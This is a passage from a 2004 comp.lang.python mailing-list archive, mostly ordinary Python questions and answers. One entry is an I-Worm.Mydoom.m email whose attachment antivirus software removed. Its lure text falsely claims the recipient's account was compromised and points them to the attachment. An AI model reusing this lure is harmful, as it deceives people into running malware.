input_file.close() Larry Bates Syscon, Inc. "Ruben" wrote in message news:2e569af.0409130648.a6aa116 at posting.google.com... > Hello. > > I am trying to read a small text file using the readline statement. I > can only read the first 2 records from the file. It stops at the blank > lines or at lines with only spaces. I have a while statement checking > for an empty string "" which I understand represents an EOF in Python. > The text file has some blank lines with spaces and other with blanks. > > Thanks a lot. > > Ruben > > The following is the text file: The first line begins with OrgID. > OrgID: Joe S. Smith > OrgName: Smith Foundation > > > > > OrgID: Ronald K.Jones > OrgName: Jones Foundation > > The following is my script: > > > > #Open input file to be processed with READ access > input_file = open("C:/Documents and Settings/ruben/My > Documents/Python/text.txt", "r") > > empty_string_lines = 0 > > > record = input_file.readline() > while record != "": > > try: > > record = input_file.readline() > > > # Split words separated by delimiter(TAB) or separated by spaces > # into elements of the list "key_value_pair" > > > key_value_pair = record.split() > > key = key_value_pair[0] > > # Slice/delete first element of list "key_value_pair" > > value = key_value_pair[1:] > > # Join all elements from the list "value" and add a "blank space" in > # between elements > > concatenated_value= ' '.join(value) > > print concatenated_value > > if record == "": > > empty_string_lines += 1 > print " Victor Empty string lines = ", empty_string_lines > break > # Get values from table > > if key == "OrgID:": > org_id = value > > elif key == "OrgName:": > org_name = value > > elif record == ' ': > print "Blank line" > > elif record == '': > print "END OF FILE" > > print "RECORD = ", record > > except IndexError: > > break > if record == "": > print "EOF", record > > elif record == '\0': > > print "NULL Characters found" > > > elif record == "\n": > > print "Newline found" > > elif record == " ": > > print "Blank line found" > > > > # Close file > > input_file.close() From demobudda at yahoo.com Sat Sep 11 01:59:27 2004 From: demobudda at yahoo.com (Demo) Date: 10 Sep 2004 22:59:27 -0700 Subject: java Message-ID: <6712b7e.0409102159.42cd71d4@posting.google.com> What computer science concepts can I learn from Java and not from Python? From scook at elp.rr.com Sat Sep 4 18:29:27 2004 From: scook at elp.rr.com (Stan Cook) Date: Sat, 04 Sep 2004 22:29:27 GMT Subject: Dbase Connection References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com> <20040904174801.07582.00000186@mb-m11.aol.com> Message-ID: I want to open it with Python. If that's possible. "Mensanator" wrote in message news:20040904174801.07582.00000186 at mb-m11.aol.com... > >Subject: Dbase Connection > >From: "Stan Cook" scook at elp.rr.com > >Date: 9/4/2004 3:38 PM Central Daylight Time > >Message-id: <3Jp_c.15967$Xi.2705 at fe1.texas.rr.com> > > > >Does anyone know how or what I can use to open, read and extract data from a > >dbase database? I haven't found anything of much use with accompanying > >documentation. > > Excel will open .dbf files. > > -- > Mensanator > Ace of Clubs From davecook at nowhere.net Wed Sep 1 02:31:26 2004 From: davecook at nowhere.net (David Cook) Date: Wed, 01 Sep 2004 06:31:26 GMT Subject: GUI Designer References: <87n00azme5.fsf@nezumi.home.spb> <1fc0d98004083121552be79d02@mail.gmail.com> Message-ID: On 2004-09-01, Nick LaForge wrote: > If you like GTK+, you might want to try the glade designer and parse > the XML file with libglade and pygtk. (Generated code is bad) BTW, there's a python port of glade underway: http://gruppy.sicem.biz/componentes#gazpacho Dave Cook From michaels at rd.bbc.co.uk Tue Sep 14 08:04:21 2004 From: michaels at rd.bbc.co.uk (Michael Sparks) Date: Tue, 14 Sep 2004 13:04:21 +0100 Subject: Electronic voting feasibility References: <2MadnV5_1fnwQtzcRVn-uA@giganews.com> Message-ID: Istvan Albert wrote: > Greg Steffensen wrote: > >> the disk is never touched), so choice of language is largely >> arbitrary. >> Is this wrong? Are there reasons to choose/avoid Python? > > All I know about designing secure systems is that if one has to > ask questions about it then it means that they cannot do it. That would imply someone can never learn. I'm sure that is *not* what you mean. Personally I would also say the point at which someone *stops* asking questions about the security of their system and the tools they use to build it, that's the point at which the system becomes most vulnerable. Best Regards, Michael. -- Michael.Sparks at rd.bbc.co.uk British Broadcasting Corporation, Research and Development Kingswood Warren, Surrey KT20 6NP This message (and any attachments) may contain personal views which are not the views of the BBC unless specifically stated. From M.Waack at gmx.de Sat Sep 18 06:20:29 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Sat, 18 Sep 2004 12:20:29 +0200 Subject: Python binaries for Solaris, HP-UX References: Message-ID: Paul Moore wrote: > I'm looking for binaries of Python (2.3.4, preferably) which run on > Solaris and HP-UX. I need to be able to install them as a non-root > user (hence, to a private directory, something like ~/bin). HP offers precompiled packages of free software at the DSPP pages: http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,4682,00.html The same holds for Solaris, but I forgot the link - as simple websearch should help you. Mathias From parano at gmail.com Sat Sep 11 09:55:33 2004 From: parano at gmail.com (Parano) Date: 11 Sep 2004 06:55:33 -0700 Subject: Python library to access CVS? Message-ID: <4712d252.0409110555.13ad27a3@posting.google.com> Is there a Python library to access CVS? I tried to google search for it, but with "python cvs" you actually find alot of python projects that have CVS repository... From mhammond at cvs.pythonpros.com Tue Sep 28 10:37:56 2004 From: mhammond at cvs.pythonpros.com (mhammond at cvs.pythonpros.com) Date: Tue, 28 Sep 2004 16:37:56 +0200 Subject: error Message-ID: <20040928143917.BE2481E4003@bag.python.org> ******************************* WARNING ****************************** Este mensaje ha sido analizado por MDaemon AntiVirus y ha encontrado un fichero anexo(s) infectado(s). Por favor revise el reporte de abajo. Attachment Virus name Action taken ---------------------------------------------------------------------- document.zip I-Worm.Mydoom.m Removed ********************************************************************** Dear user python-list at python.org, Your e-mail account was used to send a large amount of junk email during this week. Obviously, your computer was compromised and now contains a hidden proxy server. We recommend that you follow instruction in order to keep your computer safe. Have a nice day, python.org user support team. From carribeiro at gmail.com Mon Sep 13 15:42:07 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 16:42:07 -0300 Subject: ANN:A wxHtmlWindow forms implementation. In-Reply-To: <1095104520.249408@news.commspeed.net> References: <1095057128.250036@news.commspeed.net> <1095104520.249408@news.commspeed.net> Message-ID: <864d370904091312424f6ebe7f@mail.gmail.com> On Mon, 13 Sep 2004 11:56:12 -0700, Tom B. wrote: > I misunderstood your reply and I apologize if my reply was an insult to your > intelligence. The demo code is a demo but it is for the wxPython demo > program, have a look at the demo code in the 'wxHtmlWindow' subsection of > the 'more Windows/Controls section and compare the code to my demo code. Don't worry, I don't burn that easily :-) It happens -- the problem is that people get used to their your own setups (programming libraries, directories and stuff), and it's quite easy to forget to mention something or other when releasing it for other people to use. Be welcome :-) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From David Tue Sep 7 22:26:40 2004 From: David (David) Date: Tue, 07 Sep 2004 20:26:40 -0600 Subject: In search of idiom in py2exe References: Message-ID: <9ersj0pr1u5bf3naq15vk6g4itbvaff0mv@4ax.com> On Tue, 07 Sep 2004 22:08:21 -0400, Peter Hansen wrote: Thanks! That's the ticket. >David wrote: >> In many of my scripts I've used the following idiom for accessing data >> files placed nearby: >... >> Can anyone recommend an idiom that will work with py2exe? > >Do the last few posts to the following thread help you? It >was an attempt to find "the" idiomatic way to find the >directory of the main script, whether running normally or >with py2exe. > >http://groups.google.ca/groups?threadm=8089854e.0407070426.2fb90f95%40posting.google.com > >-Peter From aurora00 at gmail.com Wed Sep 15 16:54:00 2004 From: aurora00 at gmail.com (aurora) Date: Wed, 15 Sep 2004 13:54:00 -0700 Subject: .py as executable extension on windows References: Message-ID: Some useful information in Windows faq http://www.python.org/doc/faq/windows.html#how-do-i-make-python-scripts-executable On Wed, 15 Sep 2004 22:30:33 +0200, Achim Domma (Procoders) wrote: > Hi, > > is there a way to tell windows, that *.py files are executable, like > .bat, .js, ...? If I have someTool.py somewhere in my path I would like > to type only 'someTool param1 param2'. Is that possible? > > regards, > Achim From nobody at nowhere.com Tue Sep 21 09:13:00 2004 From: nobody at nowhere.com (Yannick Turgeon) Date: Tue, 21 Sep 2004 09:13:00 -0400 Subject: Inheritance question References: Message-ID: Thanks Peter for you help and time. Everything is in this: > while True: > type_, args = decode(readEncodedData()) > cmd = commands[type_](args) > cmd.execute() I already changed the way I do this. Yannick From irmen at -nospam-remove-this-xs4all.nl Fri Sep 3 17:19:44 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Fri, 03 Sep 2004 23:19:44 +0200 Subject: Uninstall speed with Python 2.4 MSI In-Reply-To: References: Message-ID: <4138dff1$0$37789$e4fe514c@news.xs4all.nl> David Bolen wrote: > simultaneously. It probably took 5+ minutes for the removal. I can't > recall if removing 2.4a1 was like this, but certainly the non-MSI > versions weren't, even when all the docs were separate files. > > I was wondering if anyone else has experience this? I may not have > the fastest system at the moment, but this has to have been one of the > slowest (proceeeding, if not absolute time) uninstalls I've done in a > long while. My experience with MSI based installers is similar: s l o w Both the installation is slow, and also deinstallation is slow. It seems to take forever to "build script functions" or whatever it says it is doing when doing an uninstall. Probably got something to do with the large number of files that make up the full Python install. --Irmen. PS: I've got an Athlon XP 2400+ with 1Gb of RAM.... You really start wondering where all the CPU cycles go... From mauriceling at acm.org Thu Sep 2 19:12:30 2004 From: mauriceling at acm.org (Maurice LING) Date: Thu, 02 Sep 2004 23:12:30 GMT Subject: compiling to python byte codes In-Reply-To: <2pnvpsFn74m5U1@uni-berlin.de> References: <4136b2b5$1@news.unimelb.edu.au> <2pnvpsFn74m5U1@uni-berlin.de> Message-ID: <4137a8da@news.unimelb.edu.au> Hi Leif, Leif K-Brooks wrote: > Maurice LING wrote: > >> Or is there any documentation or books that is the python equivalent >> of "Programming for the Java Virtual Machine" by Joshua Engel? > > > Python's byte code isn't very stable, so you might have to recreate your > entire code base with every new Python version. I would suggest > generating Python code (not byte code) instead and compiling that. So are you suggesting that say I want to write a compiler to compile Pascal to Python Virtual Machine, it will be wiser to do source code conversion from Pascal to Python? maurice From jgrahn-nntq at algonet.se Wed Sep 29 17:59:30 2004 From: jgrahn-nntq at algonet.se (Jorgen Grahn) Date: Wed, 29 Sep 2004 21:59:30 +0000 (UTC) Subject: multiple instance on Unix References: Message-ID: On Wed, 29 Sep 2004 18:38:06 +0100, Nigel King wrote: > Hi, > I have (my son has!) implemented protection against multiple instances > causing havoc by creating a directory. This fails if it exists and thus > in a single instruction one gets both the acquire and the test. I assume you want a program (when started) to exit immediately if another instance is running, as the same user, on the machine? > Windows has it's mutex which solves the problem. Is there any better > version for UNIX. Ok, so Windows has named mutexes which work across processes. Unix programs normally don't attempt to "protect" themselves in this way. I can see no harm in two instances of a program running. I can /definitely/ see situations where two programs modifying the same set of files, resulting in binary garbage, but if these are different programs your approach doesn't work. Best is a design which doesn't need locking. Second best is locking which is tied to the resources (files) which need to be protected. Leaving it up to the user to be careful is another popular choice ;-) For reference, have a look at procmail's lockfile(1) and mutt's mutt_dotlock(1). Both deal with protecting mailbox files. /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From alanmk at hotmail.com Sat Sep 25 11:03:19 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Sat, 25 Sep 2004 16:03:19 +0100 Subject: DB-SIG wiki/moin? (was Re: Python and Sybase) In-Reply-To: References: Message-ID: <7Hf5d.32001$Z14.10817@news.indigo.ie> [Alan Kennedy] >> When looking at the DB-SIG web page, although I can see a list of >> database modules there that support the DB-API in its different >> versions and levels, I can see no easy way for that list to be >> updated with the above sort of invaluable information. > >> Might it be a good idea to make at least part of the DB-SIG web >> page a wiki/moin? A moin works well in the web >> framework/templating arena, so perhaps it is also suitable for >> database modules? [Skip Montanaro] > Go ahead and update the Python wiki: > > http://www.python.org/moin > > culling whatever dynamic information you think approrpriate from the > existing db-sig pages. Note that there are already several pages > with the word "database" in their titles. Search at the bottom of any > page to find them. It's likely one of them will be a better starting > place than a clean sheet of WikiPaper. > > Once you have something, let me know and I'll update the > topics/data/modules page to refer to it. It would be extra helpful > if you could update a copy of this page: > > http://www.python.org/topics/database/modules.ht > > (note the lack of "ml" at the end) and shoot it to me. If so, that > will simplify my job. Thanks for all your work on the python.org website Skip. When I first posed my question, the sort of thing that I had in mind was a comparison matrix, something like I've done for HTTP proxies:- http://www.xhaus.com/alan/python/proxies.html On browsing around the existing python moin, I see that exactly what I suggested is already there, namely http://www.python.org/moin/DbApiModuleComparison and http://www.python.org/moin/ChoosingDatabase Although the DbApiModuleComparison seems less than 100% complete, I think that may be because a lot of people don't know that it's there, so they don't update it. Maybe a good solution would be to simply link the above pages from the DB-SIG main page, so that they can be more easily found? I would make two small changes to the structure of the Module comparison page:- 1. Change the "ThreadSupport" column to instead refer to the much more tightly defined "threadsafety" variable from the DB-API spec, i.e. "Integer constant stating the level of thread safety the interface supports." 2. Add a "Pure python" column to differentiate between modules that are pure python (and thus potentially portable between pythons), and modules that require a native layer in C or Java, etc. regards, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From grante at visi.com Thu Sep 30 11:07:25 2004 From: grante at visi.com (Grant Edwards) Date: 30 Sep 2004 15:07:25 GMT Subject: multiple instance on Unix References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> <415C05E5.5040108@hotmail.com> Message-ID: <415c212d$0$10209$a1866201@newsreader.visi.com> On 2004-09-30, Nigel King wrote: > > On 30 Sep 2004, at 14:11, C Ginger wrote: > >> I know the approach to creating a lock file has been around a >> long time but there are certain weaknesses to it. There are a >> number of race conditions in it. For instance if process A >> detects the directory isn't there it will attempt to create >> it. During that same time process B might also not find it >> there - since A hasn't completed its create yet. > > This was why I created a directory rather than a file since I > thought this was supposed to be atomic. AFAIK, creating a file is atomic as well. It's the approach that's been used by Unix applications for the past 30 years, so if it wasn't atomic, I would think somebody else would have noticed the problem and switched to using a lock directory before now. -- Grant Edwards grante Yow! I want a WESSON at OIL lease!! visi.com From peter at engcorp.com Thu Sep 16 12:46:24 2004 From: peter at engcorp.com (phansen) Date: Thu, 16 Sep 2004 12:46:24 -0400 Subject: wxPython entirely suitable for commercial use (was Re: wxPython Not Ready for Commercial Use) In-Reply-To: References: Message-ID: Polerio Babao Jr.II wrote: > Please correct me if im wrong. I have depended much on python and > wxpython gui apps. After a year of using python apps I was able to do > good application written entirely in python. One big problem came into > my attention. The printing support. Yes, there was reportlab. But what > if your client wanted to simulate the customized excel output and have > it converted to reportlab. you cannot do it 100%. There are so many > drawbacks which I do not like. I tried to use the xml file of excel > and modify it on the fly to answer that problem but still not a very > good solution. > > I am targetting crystal report as my ideal reporting application. Have you looked at any third-party products which support an ActiveX interface? Surely there are such things and they could easily be integrated with a wxPython app. > If not then we are all correct, python > is good for training purposes but not for production yet. Given the number of people actually using it for production use, this ludicrous statement clearly must have been intended to provoke a response, rather than to indicate a serious claim on your part. Heck, if you used it for over a year and it's only suitable for training, that's egg on your face, isn't it? -Peter From wcrucius at sandc.com Tue Sep 14 17:55:56 2004 From: wcrucius at sandc.com (Wes Crucius) Date: 14 Sep 2004 14:55:56 -0700 Subject: optimizing memory utilization References: Message-ID: <1db49385.0409141355.5d204a03@posting.google.com> "Frithiof Andreas Jensen" wrote in message news:... > "Anon" wrote in message > news:pan.2004.09.14.04.38.02.647096 at ymous.com... > > > Any data structures suggestions for this application? BTW, the later > > accesses to this database would not benefit in any way from being > > presorted, > > You keep saying it yourself: Use a Database ;-). > > Databases "knows" about stuff in memory, as well as any searching and > sorting you might dream up later. > > Python supports several, the simplest is probably PySQLite: > http://sourceforge.net/projects/pysqlite/ Thanks for the specific suggestion, but it's an approach I'd hoped to avoid. I'd rather get 2Gig of RAM if I was confident I could make it work that way... The problem with a file-based database (versus an in-memory data-structure-based database as I was meaning) is performance. Maybe someone has a better suggestion if I give little more info: I want to iterate through about 10,000 strings (each ~256 characters or less) looking for occurances (within those 10,000 strings) of any one of about 500,000 smaller (~30-50 characters average) strings. Then I generate an XML doc that records which of the 500,000 strings were found within each of the 10,000 strings. I guess I am hoping to optimize memory usage in order to avoid thrashing my drives to death (due to using a file based database). I can't believe that python requires memory 200% "overhead" to store my data as lists of lists. I gotta believe I've chosen the wrong data-type or have mis-applied it somehow?? BTW, my illustration wasn't my input data, it was literally the output of "print Albums" (with only a couple albums worth of dummy data loaded). Albums is a list containing a list for each album, which in turn contains another list for each track on the album, which in-turn contains a couple of items of data about the given track. Bottom line question here: Is a 'list' the most efficient data type to use for storing "arrays" of "arrays" of "arrays" and strings", given that I'm happy to iterate and don't need any sort of lookup or search functionality?? Thanks again, Wes From dietz at dls.net Sat Sep 4 17:52:04 2004 From: dietz at dls.net (Paul F. Dietz) Date: Sat, 04 Sep 2004 16:52:04 -0500 Subject: Discussing the shuttle in the wrong newsgroups (was Re: Xah Lee's Unixism) In-Reply-To: <1094329053.514935@teapot.planet.gong> References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> <1094285694.404322@teapot.planet.gong> <1bpt51alai.fsf@cs.nmsu.edu> <1094329053.514935@teapot.planet.gong> Message-ID: Rupert Pigott wrote: > Joe Pfeiffer wrote: >> However, it would certainly not have failed at the segment joints.# > > Indeed, it could have failed in a way entirely unique to itself... :) For example, it would have been more difficult to cast, so it could have been more prone to catastrophic failures due to casting errors (voids in the grain, poor bonding of the grain to the casing, etc.) The safer answer would have been liquid boosters, but they cost more. The underlying problem was that the shuttle never made economic sense (fraudulent projections of high flight rates notwithstanding.) Followup to sci.space.policy. Paul From bokr at oz.net Sat Sep 4 23:32:19 2004 From: bokr at oz.net (Bengt Richter) Date: 5 Sep 2004 03:32:19 GMT Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> Message-ID: On Sat, 4 Sep 2004 20:09:38 -0400, Tim Peters wrote: >[Tim Peters, on the demise of doctest.master] >>> Under a hopeful belief that nobody was using that anyway, I didn't >>> gripe when Edward refactored it out of existence. This is the first >>> time we've heard that anyone *was* using it! > >[Alex Martelli] >> I guess gmpy just wasn't on your radar...! If you have no need for its >> multi-precision and special-functions support, that's unsurprising. > >Since I live on Windows most of the time, I use Marc-Andre Lemburg's >mxNumber. That comes with a pre-built GMP, so is that much less for >me to screw up. I generally don't run package test suites on Windows >anyway (the odds that something is uniquely broken on my particular >WIndows box are too low). > >>> I suppose we could hack one back in, but I'd rather volunteer to >>> rewrite the gmpy tests to use the stronger 2.4 gimmicks ... > >> Thanks, your offer is welcome and gladly accepted -- as long as all the >> tests keep running under 2.3 just as well, of course. There will be a >> lot of 2.3 around for a long time -- for example, Apple isn't going to >> change the Python version they use in Panther, which is 2.3, at least >> until they come out with Tiger, say in May next year, and since, as >> usual, they'll change $150 or so for the OS upgrade, many people will >> just keep running Panther (and therefore Python 2.3). Etc, etc. > >Nothing against 2.3 here, it's simply a surprise that anyone was using >doctest.master. SourceForge is down at the moment, so I still don't >know whether gmpy's use was essential or shallow. If it was >essential, we'll have to hack a master workalike back in. > >It could be too that many projects stumbled into using doctest.master, >but none yet bothered to try the 2.4 prereleases. > >> I do assume that it's easy to keep the hundreds of tests almost >> unchanged, to avoid having to maintain them separately in two >> versions, and support 2.3 and 2.4 with localized changes to the >> small spots where the tests are run...? > >It should be easy indeed. Edward Loper and Jim Fulton (by way of >Zope3) had thousands of doctests between them, and Python's test suite >has more than a few too. None of those doctests had to be changed in >any way. But none of them used doctest.master. > >This next *may* be relevant to gmpy. I'm aware of it but haven't seen >an instance of it: > >""" >>>> 1/0 >Traceback (most recent call last): >abc >ZeroDivisionError: integer division or modulo by zero >""" > >That doctest passes before 2.4, but no longer. I don't want to "fix" >that, either, if someone has code like this. > >The problem is that a real traceback doesn't look like that. Python >always indents the lines between the initial "Traceback" line and the >exception detail line. This is important because 2.4 doctest supports >multiline exception details, so needs a way to guess where the >exception detail starts. Before 2.4, the exception detail had to fit >on a single line, and doctest's guess was simply "the exception detail >is the last line". In 2.4, it's "the exception detail starts with the >first line following the Traceback line that's not indented relative >to the Traceback line and that starts with an alphanumeric character". > That covers all real tracebacks, and the rare but known-to-exist >practice of representing omitted "File" lines with a left-aligned >ellipsis. > >Bottom line is that such tests (if any exist) need to be rewritten. >Starting the "abc" lines with one or more blanks is sufficient so that >the test passes under all versions of doctest. Just a thought re traceback printed representation, while you're at it: A traceback from an exception in a recursive call is apt to have repeated lines that could be replaced by the first followed by an repeat count indication. E.g., >>> def foo(x): 1.0/x; foo(x-1) ... >>> foo(3) Traceback (most recent call last): File "", line 1, in ? File "", line 1, in foo File "", line 1, in foo File "", line 1, in foo File "", line 1, in foo ZeroDivisionError: float division >>> foo(1) Traceback (most recent call last): File "", line 1, in ? File "", line 1, in foo File "", line 1, in foo ZeroDivisionError: float division >>> foo(0) Traceback (most recent call last): File "", line 1, in ? File "", line 1, in foo ZeroDivisionError: float division Repetitions are particularly useless when the stack blows totally, and you get ~1k repetitions (how do you write a doc-test for the traceback of that?) Just at thought. (I'm old enough to remember *gap* or such in line printer listings with lots of otherwise repeating lines, before we had the luxury of capturing hundreds of megabytes of printing to RAM on our own PCs ;-) Regards, Bengt Richter From carribeiro at gmail.com Wed Sep 22 11:51:42 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 22 Sep 2004 12:51:42 -0300 Subject: Why not FP for Money? In-Reply-To: <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> References: <10l0lpt9n0n5k9c@news.supernews.com> <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> Message-ID: <864d370904092208513baf9d62@mail.gmail.com> On Wed, 22 Sep 2004 17:51:30 +0300, Christos TZOTZIOY Georgiou wrote: > On 21 Sep 2004 17:11:22 -0700, rumours say that danb_83 at yahoo.com (Dan > Bishop) might have written: > > >But what about countries like Japan and (even more so) Turkey where > >the currency units are so small that you never use fractions of them? > >Do programmers there talk less about floating-point error? > > This used to be the case in Greece too; however, there was and still is > VAT (amount * 0.08 or 0.18), discounts, distribution of a "gross"[1] > discount ("your invoice is over 200000 drachmae, so I'll give you a > 20000 drs discount") over the items of an invoice (and the "gross" > discount should equal the sum of qty*discount_per_item) etc. Beware! Floating point errors may bite you *even for non-fractional numbers*. Once the number of significant digits is bigger than the precision of the mantissa, there will be automatic scaling of values, dropping the least significant digit(s). Depending on the floating point representation (single, double or extended, just to mention the most common ones), this error will happen with numbers of different magnitudes (from ~7 to ~19 significant digits, depending upon the internal representation, if I remember it well). This error is particularly nasty if you're repeatedly summing large quantities with small ones. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From FBatista at uniFON.com.ar Wed Sep 1 11:20:37 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 1 Sep 2004 12:20:37 -0300 Subject: ANNOUNCE: SiGeFi v0.2 Message-ID: We're proud to announce the 0.2 version of SiGeFi, which you can find at: http://sourceforge.net/projects/sigefi What is SiGeFi? --------------- SiGeFi is a Financial Management System, with focus in the needs of the administration of the money in each personal life and house. Always keeping the easy usage and concepts, SiGeFi has features of a complex Management system: - Complies with Double Entry Accounting - Has a Budget-based Money Distribution system - Allow to make Loans between accounts (with associated financial costs) And of course, it's completely written in Python (didn't decided the GUI yet). What is in this version? ------------------------ We are in Alpha status! (ohmmmmm...) We get out of pre-alpha because be finished with all the modules and their unit tests, so we shouldn't have functionality changes in the future. We're still in alpha because vital parts of the project are still missing (a graphical interface and internationalize it, as the most important two). Functionality change: - Added the posibility of check a transaction as already controlled (e.g. against a bank statement). Internal changes: - Created specific exceptions for the project (when needed). - Integrated decimal.py to handle amounts. - Added properties and __repr__ method to all classes. - Refactored the way an entry ('Asiento') is created. - Added mappings (in dictionaries) between system constants and their descriptions. - Build a dictionary of controllers. Be aware that the documentation is not translated yet, it's only in Spanish. What can I expect for the next version? --------------------------------------- To us to finish code internationalization and documentation: - Translate code - Finish classes' documentation (docstring) - UML update - Doctests - GUI guidelines How can I help? --------------- In a thousand ways, there's a lot of things to do: documentation, fixing code, set up the web page, etc... If you want to participate, send us a mail to the list (sigefi-list at lists.sourceforge.net) or directly to us. Thank you. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From skip at pobox.com Tue Sep 7 23:18:44 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 Sep 2004 22:18:44 -0500 Subject: ANN: WxInter In-Reply-To: References: Message-ID: <16702.31252.883195.22374@montanaro.dyndns.org> Ed> Good points. The thing to do, IMHO, would be to improve Ed> wxWindows/wxPython to provide the text and canvas widget Ed> functionality, and then move with the WxInter idea to use it as a Ed> path for abandoning TkInter. FWIW, Gtk has a TextView widget with functionality similar to the Tk text widget. The Gtk folks have no desire to adopt the model the Tk text widget uses (I asked once upon a time), but you may be able to paper over most common differences in Python (I suspect a 100% replacement will be challenging). I did something along these lines for some contract work a couple years ago. My former employer is heavily open source oriented and can probably be convinced to release that code without much problem. Skip From matt.torment at gmail.com Tue Sep 7 02:01:24 2004 From: matt.torment at gmail.com (Matthew K Jensen) Date: 6 Sep 2004 23:01:24 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) References: <20040901221925.2128958333.EP@zomething.com> Message-ID: Robert Kern wrote in message news:... > Mark Hahn wrote: > > On Wed, 1 Sep 2004 22:19:25 -0800, EP wrote: > > > > > >>Jeremy Bowers commented: > > > > > >>If you can't come up with a good name, use a letter and symbol or > >>three (but no more than 3), e.g. C, C++, C#. Such will be > >>non-objectionable, but will not help you in getting your > >>language/technology adopted, or even remembered. > > > > > > Well, I gave up on coming up with a good name so I'm taking your advice and > > using DX, for Dynamic Xml language. > > I'd be cautious about that. "dynamic xml" googles up a large number of hits. > > > I had a number of cute names like > > groovy but I just couldn't stand the thought of a cute name. I also had > > acronyms like UDXL but that would get lost in the sea of acronyms. So my > > web-site will be dx-lang.org and all will be well. > > > > Does anyone know of any conflicts for DX? Any existing software projects? > > Any languages? I know all about all the ham radio stuff but I assume that > > is a non-issue. > > There's IBM's Data Explorer (DX) although its most recent incarnation > has been released as an open source project under the name OpenDX. DX - a type of radio transmission DX - a defunct wrestling tag-team DX - a certification of film (I think) DX - Degenerative Exponential DX - Dynamic XML DX - a user on slashdot (I think) there's the ones I can think of From rogerb at rogerbinns.com Sat Sep 25 22:11:55 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Sat, 25 Sep 2004 19:11:55 -0700 Subject: Wrapping Python ? References: <33fh22-pfv.ln1@lairds.us> Message-ID: Cameron Laird wrote: > Exactly: taking care of shared libraries as you describe (I *think* > Starkits currently assume responsibility for writing 'em into the > real file system, and loading from there) (and, yes, I know that > has security consequences) is one of Starkit's benefits. In that case McMillan installer will do the same thing. There is absolutely no way I would distribute software that extracted libraries to bits of the filesystem every time it runs on any platform. However others have no such qualms :-) I did some more digging on StarKit and it looks like they build the main executable statically linked with the most common libraries (eg Tk). Then they require that every extension library is built using Stubs (http://mini.net/tcl/stubs) and use a builtin mechanism for dynamically loading the extension. That still doesn't solve the issue for OS level linking (eg when using wxPython on Linux, there is linkage between the wxPython library into the wxWidgets library into GTK into X). Typically the wxPython and wxWidgets libraries are included with the application, and it wouldn't be feasible to use something like Stubs with the wxWidgets library, especially since it isn't directly tied to a scripting language and exports a huge number of functions and C++ classes. Other than extracting libraries at runtime into the real filesystem I can only see this to be doable by re-implementing the operating system dynamic loader. Roger From dale at riverhall.NOSPAM.co.uk Wed Sep 1 09:05:49 2004 From: dale at riverhall.NOSPAM.co.uk (Dale Strickland-Clak) Date: 01 Sep 2004 13:05:49 GMT Subject: Basic tokenizer Message-ID: I'm looking for a simple string tokenizer. The Python tokenize module is too specific and is geared to Python syntax. I just want something that can be setup to read the basic stuff like . identifiers . integers (and/or reals) . strings . special characters such as operators and brackets. Is anyone aware of such a module? Thanks. -- Dale Strickland-Clark Riverhall Systems Ltd, www.riverhall.co.uk From thomas.krueger at gmx.net Tue Sep 21 16:06:41 2004 From: thomas.krueger at gmx.net (Thomas =?ISO-8859-1?Q?Kr=FCger?=) Date: Tue, 21 Sep 2004 22:06:41 +0200 Subject: New to Python References: Message-ID: w wrote: > excuse my ignorance.??I?cannot?get?this?simple?program?to?calculate > the formula. > > The error message is unsupported operand type(s) str.??I?know?the?data > that I'm reading from the file is a string but I cannot convert it to > a float or int. x = int(y) or x = float(y) ??? Thomas From jeff at ccvcorp.com Thu Sep 9 15:01:01 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 09 Sep 2004 12:01:01 -0700 Subject: Xah Lee's Unixism In-Reply-To: <414069c6$0$6912$61fed72c@news.rcn.com> References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> Message-ID: <10k1a13rnpc2p94@corp.supernews.com> jmfbahciv at aol.com wrote: >In article <10juvnrt88k4868 at corp.supernews.com>, > Jeff Shannon wrote: > > >> >>Here there's a lot of room to disagree -- it's a tragedy when U.S. >>citizens are killed, but it's an even greater tragedy when the entirety >>of the U.S. loses its freedoms in the name of "security". >> >> > >Okay, that's it! Tell me what freedoms you have lost. Be specific. >No sound bytes and no rhetoric parroting allowed. > >I really want to know. People keep saying this but never say which >freedoms have been lost. > > I've lost the freedom to read whatever books I want, without the government snooping over my shoulder. I've lost what little was left of the freedom to presume that the government isn't 